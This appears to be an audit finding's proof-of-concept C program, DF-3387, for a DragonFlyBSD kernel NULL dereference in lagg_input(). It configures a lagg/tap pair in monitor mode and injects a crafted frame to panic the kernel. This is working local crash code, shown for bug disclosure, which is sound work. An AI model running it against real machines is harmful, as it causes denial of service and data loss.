โฌข DragonFlyBSD Kernel Audit
DF-3387 / trigger.c
โ† back to finding โ†“ download raw
/*
 * DF-3387 โ€” lagg_input() NULL-mbuf reinput panic (ether_reinput_oncpu contract violation)
 *
 * sys/net/lagg/if_lagg.c:1462-1471:
 *      if (m != NULL) {
 *              ...
 *              if (scifp->if_flags & IFF_MONITOR) {
 *                      m_freem(m);
 *                      m = NULL;
 *              }
 *              ether_reinput_oncpu(scifp, m, REINPUT_RUNBPF);   <-- m == NULL here
 *      }
 *
 * ether_reinput_oncpu() (sys/net/if_ethersubr.c:1303) does not accept NULL:
 *      if (!(ifp->if_flags & IFF_UP)) { m_freem(m); return; }
 *      if (... || m->m_pkthdr.rcvif == NULL)                    <-- NULL deref
 *              m->m_pkthdr.rcvif = ifp;
 *
 * Setup (privileged): lagg0 (failover) with tap0 enslaved, lagg0 UP+MONITOR.
 * Trigger: a single frame *received* on the slave tap0 (write(2) to /dev/tap0
 *          is an RX injection per tapwrite() -> ifp->if_input()).
 * Result:   deterministic kernel NULL-deref panic on the first packet.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int cfd = -1;

static void
sh(const char *cmd)
{
	int rc = system(cmd);
	fprintf(stderr, "+ %s -> rc=%d\n", cmd, rc);
	if (cfd >= 0) {
		char buf[256];
		int len = snprintf(buf, sizeof(buf), "[df3387] + %s -> rc=%d\n",
		    cmd, rc);
		write(cfd, buf, len);
	}
	if (rc != 0)
		fprintf(stderr, "WARNING: command failed (see above)\n");
}

int
main(void)
{
	/*
	 * 14B ether header (broadcast dst, ETHERTYPE_IP) + 20B minimal IPv4
	 * header.  Content beyond the 14-byte header is irrelevant โ€” the
	 * IFT_IEEE8023ADLAG branch in ether_demux_oncpu() (if_ethersubr.c:1076)
	 * diverts to lagg_input() before any L3 processing.
	 */
	unsigned char frame[34] = {
		0xff, 0xff, 0xff, 0xff, 0xff, 0xff,	/* dst: broadcast */
		0x02, 0x00, 0x00, 0x00, 0x00, 0x01,	/* src            */
		0x08, 0x00,				/* ETHERTYPE_IP   */
		0x45, 0x00, 0x00, 0x14,			/* ip v4, hl=5, len=20 */
		0x00, 0x00, 0x00, 0x00,			/* id, flags/off  */
		0x40, 0x01, 0x00, 0x00,			/* ttl=64, icmp   */
		0x0a, 0x00, 0x0a, 0x01,			/* src 10.0.10.1  */
		0x0a, 0x00, 0x0a, 0x02,			/* dst 10.0.10.2  */
	};
	int fd, n;

	/* Progress mirror to the serial console: survives the panic. */
	cfd = open("/dev/console", O_WRONLY | O_NONBLOCK);
	if (cfd >= 0)
		write(cfd, "[df3387] trigger start\n", 23);

	/* --- privileged setup ------------------------------------------------ */
	sh("ifconfig tap0 create");
	sh("ifconfig tap0 up");
	sh("ifconfig lagg0 create");
	sh("ifconfig lagg0 laggproto failover");
	sh("ifconfig lagg0 laggport tap0");
	sh("ifconfig tap0 up");			/* ether_input() IFF_UP gate */
	sh("ifconfig lagg0 up monitor");	/* IFF_UP | IFF_MONITOR on master */

	/* --- trigger: RX injection on the slave ------------------------------ */
	fd = open("/dev/tap0", O_RDWR);
	if (fd < 0) {
		perror("open /dev/tap0");
		return 1;
	}
	n = write(fd, frame, sizeof(frame));
	fprintf(stderr, "wrote %d bytes to /dev/tap0 (RX inject)\n", n);
	if (cfd >= 0) {
		char buf[128];
		int len = snprintf(buf, sizeof(buf),
		    "[df3387] RX-injected %d bytes; expect panic now\n", n);
		write(cfd, buf, len);
	}

	/*
	 * Not reached on success: the kernel panics processing the frame
	 * (tapwrite() calls if_input() synchronously, and the netisr-side
	 * dispatch completes the reinput path).
	 */
	sleep(5);
	fprintf(stderr, "NO PANIC โ€” bug did not reproduce\n");
	sh("ifconfig lagg0 destroy");
	sh("ifconfig tap0 destroy");
	return 2;
}